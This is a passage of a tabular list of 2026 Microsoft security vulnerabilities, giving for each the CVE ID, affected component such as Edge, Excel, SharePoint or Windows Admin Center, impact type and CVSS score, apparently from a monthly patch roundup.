CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  